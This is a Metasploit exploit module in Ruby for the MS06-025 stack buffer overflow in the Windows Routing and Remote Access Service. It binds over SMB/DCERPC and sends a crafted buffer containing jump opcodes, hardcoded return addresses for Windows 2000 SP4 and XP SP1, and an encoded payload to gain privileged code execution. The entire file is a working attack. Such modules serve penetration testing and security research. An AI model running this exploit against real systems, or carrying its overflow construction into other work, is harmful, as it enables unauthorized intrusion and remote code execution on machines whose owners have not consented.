##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS06-025 Microsoft RRAS Service Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the Windows Routing and Remote
        Access Service. Since the service is hosted inside svchost.exe, a failed
        exploit attempt can cause other system services to fail as well. A valid
        username and password is required to exploit this flaw on Windows 2000.
        When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.			},
      'Author'         =>
        [
          'Nicolas Pouvesle <nicolas.pouvesle[at]gmail.com>',
          'hdm'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-2370' ],
          [ 'OSVDB', '26437' ],
          [ 'BID', '18325' ],
          [ 'MSB', 'MS06-025' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1104,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP4', { 'Ret' => 0x7571c1e4 } ],
          [ 'Windows XP SP1',   { 'Ret' => 0x7248d4cc } ],
        ],

      'DisclosureDate' => '2006-06-13'))

    register_options(
      [
        OptString.new('SMBPIPE', [ true,  "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']),
      ])

    deregister_options('SMB::ProtocolVersion')
  end

  # Post authentication bugs are rarely useful during automation
  def autofilter
    false
  end

  def exploit

    connect(versions: [1])
    smb_login()

    handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")


    print_status('Getting OS...')

    # Check the remote OS name and version
    os = smb_peer_os
    pat = ''

    case os
    when /Windows 5\.0/
      pat =
        payload.encoded +
        "\xeb\x06" +
        rand_text_alphanumeric(2) +
        [target.ret].pack('V') +
        "\xe9\xb7\xfb\xff\xff"
      os = 'Windows 2000'
    when /Windows 5\.1/
      pat =
        rand_text_alphanumeric(0x4c) +
        "\xeb\x06" +
        rand_text_alphanumeric(2) +
        [target.ret].pack('V') +
        payload.encoded
      os = 'Windows XP'
    end

    req = [1, 0x49].pack('VV') + pat + rand_text_alphanumeric(0x4000-pat.length)
    len = req.length
    stb =
      NDR.long(0x20000) +
      NDR.long(len) +
      req           +
      NDR.long(len)

    print_status("Calling the vulnerable function on #{os}...")

    begin
      dcerpc.call(0x0C, stb)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    rescue => e
      if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
        raise e
      end
    end

    # Cleanup
    handler
    disconnect
  end
end
